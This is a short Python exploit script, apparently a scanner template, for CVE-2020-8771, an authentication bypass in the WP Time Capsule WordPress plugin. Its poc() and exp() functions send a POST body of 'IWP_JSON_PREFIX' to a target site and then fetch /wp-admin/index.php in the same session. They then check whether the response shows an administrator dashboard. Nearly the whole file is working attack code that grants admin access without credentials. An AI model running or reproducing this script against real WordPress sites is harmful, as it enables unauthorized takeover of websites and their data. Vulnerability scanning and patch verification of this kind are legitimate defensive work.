CVE-2020-8771.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''WordPress WP Time Capsule Authentication Bypass''',
        "description": '''The Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.''',
        "severity": "critical",
        "references": [
            "https://github.com/SECFORCE/WPTimeCapsulePOC"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-8771",
            "cwe-id": "CWE-287"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "wordpress", "wp-plugin"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        s = requests.Session()

        path = """/"""
        method = "POST"
        data = """IWP_JSON_PREFIX"""
        headers = {'Connection': 'close', 'Accept': '*/*'}
        resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/wp-admin/index.php"""
        method = "GET"
        data = """"""
        headers = {'Connection': 'close', 'Accept': '*/*'}
        resp1 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""<div id="adminmenumain" role="navigation" aria-label="Main menu">""" in resp1.text and """<h1>Dashboard</h1>""" in resp1.text) and ("""text/html""" in str(resp1.headers)) and (resp1.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url